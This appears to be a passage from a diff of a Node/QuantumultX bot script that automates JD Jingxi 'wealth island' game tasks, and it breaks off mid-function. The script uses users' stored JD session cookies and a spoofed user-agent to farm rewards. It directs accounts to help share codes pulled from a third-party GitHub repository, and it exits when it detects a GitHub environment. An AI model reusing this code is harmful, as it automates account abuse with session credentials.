>>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t +}); +const $ = new Env("京喜财富岛"); +const JD_API_HOST = "https://m.jingxi.com/"; +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; +$.showLog = $.getdata("cfd_showLog") ? $.getdata("cfd_showLog") === "true" : false; +$.notifyTime = $.getdata("cfd_notifyTime"); +$.result = []; +$.shareCodes = []; +let cookiesArr = [], cookie = '', token = ''; +let UA, UAInfo = {}; +let nowTimes; +const randomCount = $.isNode() ? 20 : 3; +$.appId = 10032; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0); +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; + await requestAlgo(); + await $.wait(1000) + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.nickName = ''; + $.isLogin = true; + UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + UAInfo[$.UserName] = UA + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + $.allTask = [] + $.info = {} + token = await getJxToken() + await cfd(); + await $.wait(2000); + } + } + let res = await getAuthorShareCode('https://raw.githubusercontent.com/Aaron-lv/updateTeam/master/shareCodes/cfd.json') + if (!res) { + $.http.get({url: 'https://purge.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/cfd.json'}).then((resp) => {}).catch((e) => console.log('刷新CDN异常', e)); + await $.wait(1000) + res = await getAuthorShareCode('https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/cfd.json') + } + $.strMyShareIds = [...(res && res.shareId || [])] + await shareCodesFormat() + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.canHelp = true + UA = UAInfo[$.UserName] + if ($.newShareCodes && $.newShareCodes.length) { + console.log(`\n开始互助\n`); + for (let j = 0; j < $.newShareCodes.length && $.canHelp; j++) { + console.log(`账号${$.UserName} 去助力 ${$.newShareCodes[j]}`) + $.delcode = false + await helpByStage($.newShareCodes[j]) + await $.wait(2000) + if ($.delcode) { + $.newShareCodes.splice(j, 1) + j-- + continue + } + } + } else { + break + } + } + await showMsg(); +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()); + +async function cfd() { + try { + nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000) + let beginInfo = await getUserInfo(); + if (beginInfo.LeadInfo.dwLeadType === 2) { + console.log(`还未开通活动,尝试初始化`) + await noviceTask() + await $.wait(2000) + beginInfo = await getUserInfo(false); + if (beginInfo.LeadInfo.dwLeadType !== 2) { + console.log(`初始化成功\n`) + } else { + console.log(`初始化失败\n`) + return + } + } + + // 寻宝 + console.log(`寻宝`) + let XBDetail = beginInfo.XbStatus.XBDetail.filter((x) => x.dwRemainCnt !== 0) + if (XBDetail.length !== 0) { + console.log(`开始寻宝`) + $.break = false + for (let key of Object.keys(XBDetail)) { + let vo = XBDetail[key] + await $.wait(2000) + await TreasureHunt(vo.strIndex) + if ($.break) break + } + } else { + console.log(`暂无宝物`) + } + + //每日签到 + await $.wait(2000) + await getTakeAggrPage('sign') + + //小程序每日签到 + await $.wait(2000) + await getTakeAggrPage('wxsign') + + //使用道具 + if (new Date().getHours() < 22){ + await $.wait(2000) + await GetPropCardCenterInfo() + } + + //助力奖励 + await $.wait(2000) + await getTakeAggrPage('helpdraw') + + console.log('') + //卖贝壳 + // await $.wait(2000) + // await querystorageroom('1') + + //升级建筑 + await $.wait(2000) + for(let key of Object.keys($.info.buildInfo.buildList)) { + let vo = $.info.buildInfo.buildList[key] + let body = `strBuildIndex=${vo.strBuildIndex}&dwType=1` + await getBuildInfo(body, vo) + await $.wait(2000) + } + + //接待贵宾 + console.log(`接待贵宾`) + if ($.info.StoryInfo.StoryList) { + await $.wait(2000) + for (let key of Object.keys($.info.StoryInfo.StoryList)) { + let vo = $.info.StoryInfo.StoryList[key] + if (vo.Special) { + console.log(`请贵宾下船,需等待${vo.Special.dwWaitTime}秒`) + await specialUserOper(vo.strStoryId, '2', vo.ddwTriggerDay, vo) + await $.wait(vo.Special.dwWaitTime * 1000) + await specialUserOper(vo.strStoryId, '3', vo.ddwTriggerDay, vo) + await $.wait(2000) + } else { + console.log(`当前暂无贵宾\n`) + } + } + } else { + console.log(`当前暂无贵宾\n`) + } + + //收藏家 + console.log(`收藏家`) + if ($.info.StoryInfo.StoryList) { + await $.wait(2000) + for (let key of Object.keys($.info.StoryInfo.StoryList)) { + let vo = $.info.StoryInfo.StoryList[key] + if (vo.Collector) { + console.log(`喜欢贝壳的收藏家来了,快去卖贝壳吧~`) + await collectorOper(vo.strStoryId, '2', vo.ddwTriggerDay) + await $.wait(2000) + await querystorageroom('2') + await $.wait(2000) + await collectorOper(vo.strStoryId, '4', vo.ddwTriggerDay) + } else { + console.log(`当前暂无收藏家\n`) + } + } + } else { + console.log(`当前暂无收藏家\n`) + } + + //美人鱼 + console.log(`美人鱼`) + if ($.info.StoryInfo.StoryList) { + await $.wait(2000) + for (let key of Object.keys($.info.StoryInfo.StoryList)) { + let vo = $.info.StoryInfo.StoryList[key] + if (vo.Mermaid) { + if (vo.Mermaid.dwIsToday === 1) { + console.log(`可怜的美人鱼困在沙滩上了,快去解救她吧~`) + await mermaidOper(vo.strStoryId, '1', vo.ddwTriggerDay) + } else if (vo.Mermaid.dwIsToday === 0) { + await mermaidOper(vo.strStoryId, '4', vo.ddwTriggerDay) + } + } else { + console.log(`当前暂无美人鱼\n`) + } + } + } else { + console.log(`当前暂无美人鱼\n`) + } + + //倒垃圾 + await $.wait(2000) + await queryRubbishInfo() + + console.log(`\n做任务`) + //牛牛任务 + await $.wait(2000) + await getActTask() + + //日常任务 + await $.wait(2000); + await getTaskList(0); + await $.wait(2000); + await browserTask(0); + + //成就任务 + await $.wait(2000); + await getTaskList(1); + await $.wait(2000); + await browserTask(1); + + //卡片任务 + await $.wait(2000); + await getPropTask(); + + await $.wait(2000); + const endInfo = await getUserInfo(false); + $.result.push( + `【京东账号${$.index}】${$.nickName || $.UserName}`, + `【🥇金币】${endInfo.ddwCoinBalance}`, + `【💵财富值】${endInfo.ddwRichBalance}\n`, + ); + + } catch (e) { + $.logErr(e) + } +} + +// 使用道具 +function GetPropCardCenterInfo() { + return new Promise((resolve) => { + $.get(taskUrl(`user/GetPropCardCenterInfo`), async (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} GetPropCardCenterInfo API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0) { + console.log(`使用道具卡`) + if (data.cardInfo.dwWorkingType === 0) { + $.canuse = false; + for (let key of Object.keys(data.cardInfo.coincard)) { + let vo = data.cardInfo.coincard[key] + if (vo.dwCardNums > 0) { + $.canuse = true; + await UsePropCard(vo.strCardTypeIndex) + break; + } + } + for (let key of Object.keys(data.cardInfo.richcard)) { + let vo = data.cardInfo.richcard[key] + if (vo.dwCardNums > 0) { + $.canuse = true; + await UsePropCard(vo.strCardTypeIndex) + break; + } + } + if (!$.canuse) console.log(`无可用道具卡`) + } else { + console.log(`有在使用中的道具卡,跳过使用`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function UsePropCard(strCardTypeIndex) { + return new Promise((resolve) => { + let dwCardType = strCardTypeIndex.split("_")[0]; + $.get(taskUrl(`user/UsePropCard`, `dwCardType=${dwCardType}&strCardTypeIndex=${encodeURIComponent(strCardTypeIndex)}`), (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} UsePropCard API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0) { + let cardName = strCardTypeIndex.split("_")[1]; + console.log(`使用道具卡【${cardName}】成功`) + } else { + console.log(`使用道具卡失败:${JSON.stringify(data)}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +// 寻宝 +function TreasureHunt(strIndex) { + return new Promise((resolve) => { + $.get(taskUrl(`user/TreasureHunt`, `strIndex=${strIndex}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} TreasureHunt API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0) { + if (data.AwardInfo.dwAwardType === 0) { + console.log(`${data.strAwardDesc},获得 ${data.AwardInfo.ddwValue} 金币`) + } else if (data.AwardInfo.dwAwardType === 1) { + console.log(`${data.strAwardDesc},获得 ${data.AwardInfo.ddwValue} 财富`) + console.log(JSON.stringify(data)) + } else if (data.AwardInfo.dwAwardType === 4) { + console.log(`${data.strAwardDesc},获得 ${data.AwardInfo.strPrizePrice} 红包`) + } else { + console.log(JSON.stringify(data)) + } + } else { + console.log(`寻宝失败:${data.sErrMsg}`) + $.break = true + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +// 接待贵宾 +function specialUserOper(strStoryId, dwType, ddwTriggerDay, StoryList) { + return new Promise((resolve) => { + $.get(taskUrl(`story/SpecialUserOper`, `strStoryId=${strStoryId}&dwType=${dwType}&triggerType=0&ddwTriggerDay=${ddwTriggerDay}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} SpecialUserOper API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (dwType === '2') { + if (data.iRet === 0 || data.sErrMsg === "success") { + console.log(`贵宾'${StoryList.Special.strName}'下船成功`) + } else { + console.log(`贵宾'${StoryList.Special.strName}'下船失败 ${data.sErrMsg}\n`) + } + } else if (dwType === '3') { + if (data.iRet === 0 || data.sErrMsg === "success") { + console.log(`贵宾'${StoryList.Special.strName}'用餐成功:获得${StoryList.Special.ddwCoin}金币\n`) + } else { + console.log(`贵宾'${StoryList.Special.strName}'用餐失败:${data.sErrMsg}\n`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +// 收藏家 +function collectorOper(strStoryId, dwType, ddwTriggerDay) { + return new Promise((resolve) => { + $.get(taskUrl(`story/CollectorOper`, `strStoryId=${strStoryId}&dwType=${dwType}&ddwTriggerDay=${ddwTriggerDay}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} CollectorOper API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +// 美人鱼 +async function mermaidOper(strStoryId, dwType, ddwTriggerDay) { + return new Promise(async (resolve) => { + $.get(taskUrl(`story/MermaidOper`, `strStoryId=${strStoryId}&dwType=${dwType}&ddwTriggerDay=${ddwTriggerDay}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} MermaidOper API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + switch (dwType) { + case '1': + if (data.iRet === 0 || data.sErrMsg === 'success') { + console.log(`开始解救美人鱼`) + dwType = '3' + await mermaidOper(strStoryId, dwType, ddwTriggerDay) + await $.wait(2000) + } else { + console.log(`开始解救美人鱼失败:${data.sErrMsg}\n`) + } + break + case '2': + break + case '3': + if (data.iRet === 0 || data.sErrMsg === 'success') { + dwType = '2' + let mermaidOperRes = await mermaidOper(strStoryId, dwType, ddwTriggerDay) + console.log(`解救美人鱼成功:获得${mermaidOperRes.Data.ddwCoin || '0'}金币\n`) + } else { + console.log(`解救美人鱼失败:${data.sErrMsg}\n`) + } + break + case '4': + if (data.iRet === 0 || data.sErrMsg === 'success') { + console.log(`昨日解救美人鱼领奖成功:获得${data.Data.Prize.strPrizeName}\n`) + } else { + console.log(`昨日解救美人鱼领奖失败:${data.sErrMsg}\n`) + } + break + default: + break + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +// 卖贝壳 +async function querystorageroom(dwSceneId) { + return new Promise(async (resolve) => { + $.get(taskUrl(`story/querystorageroom`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} querystorageroom API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + console.log(`\n卖贝壳`) + let bags = [] + for (let key of Object.keys(data.Data.Office)) { + let vo = data.Data.Office[key] + bags.push(vo.dwType) + bags.push(vo.dwCount) + } + if (bags.length !== 0) { + let strTypeCnt = '' + for (let j = 0; j < bags.length; j++) { + if (j % 2 === 0) { + strTypeCnt += `${bags[j]}:` + } else { + strTypeCnt += `${bags[j]}|` + } + } + await $.wait(2000) + await sellgoods(`strTypeCnt=${strTypeCnt}&dwSceneId=${dwSceneId}`) + } else { + console.log(`背包是空的,快去捡贝壳吧\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function sellgoods(body) { + return new Promise((resolve) => { + $.get(taskUrl(`story/sellgoods`, body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} sellgoods API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0) { + console.log(`贝壳出售成功:获得${data.Data.ddwCoin}金币 ${data.Data.ddwMoney}财富\n`) + } else { + console.log(`贝壳出售失败:${data.sErrMsg}\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +// 每日签到 +async function getTakeAggrPage(type) { + return new Promise(async (resolve) => { + switch (type) { + case 'sign': + $.get(taskUrl(`story/GetTakeAggrPage`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} GetTakeAggrPage API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + console.log(`\n每日签到`) + for (let key of Object.keys(data.Data.Sign.SignList)) { + let vo = data.Data.Sign.SignList[key] + if (vo.dwDayId === data.Data.Sign.dwTodayId) { + if (vo.dwStatus !== 1) { + const body = `ddwCoin=${vo.ddwCoin}&ddwMoney=${vo.ddwMoney}&dwPrizeType=${vo.dwPrizeType}&strPrizePool=${vo.strPrizePool}&dwPrizeLv=${vo.dwBingoLevel}&strPgUUNum=${token['farm_jstoken']}&strPgtimestamp=${token['timestamp']}&strPhoneID=${token['phoneid']}` + await rewardSign(body) + await $.wait(2000) + } else { + console.log(`今日已签到\n`) + break + } + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + break + case 'wxsign': + $.get(taskUrl(`story/GetTakeAggrPage`, '', 6), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} GetTakeAggrPage API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + console.log(`小程序每日签到`) + for (let key of Object.keys(data.Data.Sign.SignList)) { + let vo = data.Data.Sign.SignList[key] + if (vo.dwDayId === data.Data.Sign.dwTodayId) { + if (vo.dwStatus !== 1) { + const body = `ddwCoin=${vo.ddwCoin}&ddwMoney=${vo.ddwMoney}&dwPrizeType=${vo.dwPrizeType}&strPrizePool=${vo.strPrizePool}&dwPrizeLv=${vo.dwBingoLevel}&strPgUUNum=${token['farm_jstoken']}&strPgtimestamp=${token['timestamp']}&strPhoneID=${token['phoneid']}` + await rewardSign(body, 6) + await $.wait(2000) + } else { + console.log(`今日已签到\n`) + break + } + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + break + case 'helpdraw': + $.get(taskUrl(`story/GetTakeAggrPage`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} GetTakeAggrPage API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + console.log(`\n领助力奖励`) + let helpNum = [] + for (let key of Object.keys(data.Data.Employee.EmployeeList)) { + let vo = data.Data.Employee.EmployeeList[key] + if (vo.dwStatus !== 1) { + helpNum.push(vo.dwId) + } + } + if (helpNum.length !== 0) { + for (let j = 0; j < helpNum.length; j++) { + await helpdraw(helpNum[j]) + await $.wait(2000) + } + } else { + console.log(`暂无可领助力奖励`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + break + default: + break + } + }) +} +function rewardSign(body, dwEnv = 7) { + return new Promise((resolve) => { + $.get(taskUrl(`story/RewardSign`, body, dwEnv), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} RewardSign API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0 || data.sErrMsg === "success") { + if (data.Data.ddwCoin) { + console.log(`签到成功:获得${data.Data.ddwCoin}金币\n`) + } else if (data.Data.ddwMoney) { + console.log(`签到成功:获得${data.Data.ddwMoney}财富\n`) + } else if (data.Data.strPrizeName) { + console.log(`签到成功:获得${data.Data.strPrizeName}\n`) + } else { + console.log(`签到成功:很遗憾未中奖~\n`) + } + } else { + console.log(`签到失败:${data.sErrMsg}\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function helpdraw(dwUserId) { + return new Promise((resolve) => { + $.get(taskUrl(`story/helpdraw`, `dwUserId=${dwUserId}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} helpdraw API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0 || data.sErrMsg === "success") { + if (data.Data.StagePrizeInfo) { + console.log(`领取助力奖励成功:获得${data.Data.ddwCoin}金币 ${data.Data.StagePrizeInfo.ddwMoney}财富 ${(data.Data.StagePrizeInfo.strPrizeName && !data.Data.StagePrizeInfo.ddwMoney) ? data.Data.StagePrizeInfo.strPrizeName : `0元`}红包`) + } else { + console.log(`领取助力奖励成功:获得${data.Data.ddwCoin}金币`) + } + } else { + console.log(`领取助力奖励失败:${data.sErrMsg}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +// 倒垃圾 +async function queryRubbishInfo() { + return new Promise(async (resolve) => { + $.get(taskUrl(`story/QueryRubbishInfo`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} QueryRubbishInfo API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + console.log(`倒垃圾`) + if (data.Data.StoryInfo.StoryList.length !== 0) { + for (let key of Object.keys(data.Data.StoryInfo.StoryList)) { + let vo = data.Data.StoryInfo.StoryList[key] + if (vo.Rubbish) { + await $.wait(2000) + let rubbishOperRes = await rubbishOper('1') + if (Object.keys(rubbishOperRes.Data.ThrowRubbish.Game).length) { + console.log(`获取垃圾信息成功:本次需要垃圾分类`) + for (let key of Object.keys(rubbishOperRes.Data.ThrowRubbish.Game.RubbishList)) { + let vo = rubbishOperRes.Data.ThrowRubbish.Game.RubbishList[key] + await $.wait(2000) + var rubbishOperTwoRes = await rubbishOper('2', `dwRubbishId=${vo.dwId}`) + } + if (rubbishOperTwoRes.iRet === 0) { + let AllRubbish = rubbishOperTwoRes.Data.RubbishGame.AllRubbish + console.log(`倒垃圾成功:获得${AllRubbish.ddwCoin}金币 ${AllRubbish.ddwMoney}财富\n`) + } else { + console.log(`倒垃圾失败:${rubbishOperTwoRes.sErrMsg}\n`) + } + } else { + console.log(`获取垃圾信息成功:本次不需要垃圾分类`) + if (rubbishOperRes.iRet === 0 || rubbishOperRes.sErrMsg === "success") { + console.log(`倒垃圾成功:获得${rubbishOperRes.Data.ThrowRubbish.ddwCoin}金币\n`) + } else { + console.log(`倒垃圾失败:${rubbishOperRes.sErrMsg}\n`) + } + } + } else { + console.log(`当前暂无垃圾\n`) + } + } + } else { + console.log(`当前暂无垃圾\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function rubbishOper(dwType, body = '') { + return new Promise((resolve) => { + switch(dwType) { + case '1': + $.get(taskUrl(`story/RubbishOper`, `dwType=1&dwRewardType=0`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} RubbishOper API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + break + case '2': + $.get(taskUrl(`story/RubbishOper`, `dwType=2&dwRewardType=0&${body}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} RubbishOper API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + break + default: + break + } + }) +} + +// 牛牛任务 +async function getActTask(type = true) { + return new Promise(async (resolve) => { + $.get(taskUrl(`story/GetActTask`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} GetActTask API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (type) { + for (let key of Object.keys(data.Data.TaskList)) { + let vo = data.Data.TaskList[key] + if ([0, 1, 2].includes(vo.dwOrderId) && (vo.dwCompleteNum !== vo.dwTargetNum) && vo.dwTargetNum < 10) { + if (vo.strTaskName === "升级1个建筑") continue + 